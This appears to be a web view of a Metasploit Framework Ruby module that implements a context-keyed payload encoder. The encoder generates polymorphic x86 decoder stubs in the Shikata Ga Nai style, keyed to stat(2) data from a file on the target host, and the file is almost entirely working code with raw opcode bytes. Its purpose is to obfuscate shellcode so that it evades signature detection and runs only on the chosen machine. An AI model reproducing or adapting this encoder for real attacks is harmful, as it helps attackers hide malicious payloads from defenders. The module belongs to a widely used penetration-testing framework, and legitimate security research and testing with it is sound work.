/
context_stat.rb
203 lines (169 loc) · 6.53 KB
/
context_stat.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'rex/poly'
require 'msf/core'
class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
# Manual ranking because the stat(2) key is generated and supplied
# manually.
Rank = ManualRanking
def initialize
super(
'Name' => 'stat(2)-based Context Keyed Payload Encoder',
'Description' => %q{
This is a Context-Keyed Payload Encoder based on stat(2)
and Shikata Ga Nai.
},
'Author' => 'Dimitris Glynos',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'Decoder' =>
{
'KeySize' => 4,
'BlockSize' => 4
})
register_options(
[
OptString.new('STAT_KEY', [ true,
"STAT key from target host (see tools/context/stat-key utility)",
"0x00000000" ]),
OptString.new('STAT_FILE', [ true, "name of file to stat(2)", "/bin/ls" ]),
], self.class)
end
def obtain_key(buf, badchars, state)
state.key = datastore['STAT_KEY'].hex
return state.key
end
#
# Generates the shikata decoder stub.
#
def decoder_stub(state)
# If the decoder stub has not already been generated for this state, do
# it now. The decoder stub method may be called more than once.
if (state.decoder_stub == nil)
# Shikata will only cut off the last 1-4 bytes of it's own end
# depending on the alignment of the original buffer
cutoff = 4 - (state.buf.length & 3)
block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
# Take the last 1-4 bytes of shikata and prepend them to the buffer
# that is going to be encoded to make it align on a 4-byte boundary.
state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
# Cache this decoder stub. The reason we cache the decoder stub is
# because we need to ensure that the same stub is returned every time
# for a given encoder state.
state.decoder_stub = block
end
state.decoder_stub
end
protected
def keygen_stub
fname = datastore['STAT_FILE']
flen = fname.length
payload =
"\xd9\xee" + # fldz
"\xd9\x74\x24\xf4" + # fnstenv -0xc(%esp)
"\x5b" + # pop %ebx
Rex::Arch::X86.jmp_short(flen) + # jmp over
fname + # the filename
"\x83\xc3\x09" + # over: add $9, %ebx
"\x8d\x53" + # lea filelen(%ebx), %edx
Rex::Arch::X86.pack_lsb(flen) + #
"\x31\xc0" + # xor %eax,%eax
"\x88\x02" + # mov %al,(%edx)
"\x8d\x4c\x24\xa8" + # lea -0x58(%esp),%ecx
"\xb0\xc3" + # mov $0xc3, %al
"\xcd\x80" + # int $0x80
"\x8b\x41\x2c" + # mov 0x2c(%ecx),%eax
"\x33\x41\x48" # xor 0x48(%ecx),%eax
end
#
# Returns the set of FPU instructions that can be used for the FPU block of
# the decoder stub.
#
def fpu_instructions
fpus = []
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
fpus << "\xd9\xd0"
fpus << "\xd9\xe1"
fpus << "\xd9\xf6"
fpus << "\xd9\xf7"
fpus << "\xd9\xe5"
# This FPU instruction seems to fail consistently on Linux
#fpus << "\xdb\xe1"
fpus
end
#
# Returns a polymorphic decoder stub that is capable of decoding a buffer
# of the supplied length and encodes the last cutoff bytes of itself.
#
def generate_shikata_block(state, length, cutoff)
# Declare logical registers
key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')
# Declare individual blocks
endb = Rex::Poly::SymbolicBlock::End.new
# FPU blocks
fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)
fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")
# Get EIP off the stack
popeip = Rex::Poly::LogicalBlock.new('popeip',
Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
# Clear the counter register
clear_register = Rex::Poly::LogicalBlock.new('clear_register',
"\x31\xc9",
"\x29\xc9",
"\x33\xc9",
"\x2b\xc9")
# Initialize the counter after zeroing it
init_counter = Rex::Poly::LogicalBlock.new('init_counter')
# Divide the length by four but ensure that it aligns on a block size
# boundary (4 byte).
length += 4 + (4 - (length & 3)) & 3
length /= 4
if (length <= 255)
init_counter.add_perm("\xb1" + [ length ].pack('C'))
else
init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
end
# Key initialization block
# Decoder loop block
loop_block = Rex::Poly::LogicalBlock.new('loop_block')
xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
loop_block.add_perm(
Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })
# Loop instruction block
loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',
"\xe2\xf5")
# Define block dependencies
fnstenv.depends_on(fpu)
popeip.depends_on(fnstenv)
init_counter.depends_on(clear_register)
loop_block.depends_on(popeip, init_counter)
loop_inst.depends_on(loop_block)
# Generate a permutation saving the EAX, ECX and ESP registers
loop_inst.generate([
Rex::Arch::X86::EAX,
Rex::Arch::X86::ESP,
Rex::Arch::X86::ECX ], nil, state.badchars)
end
end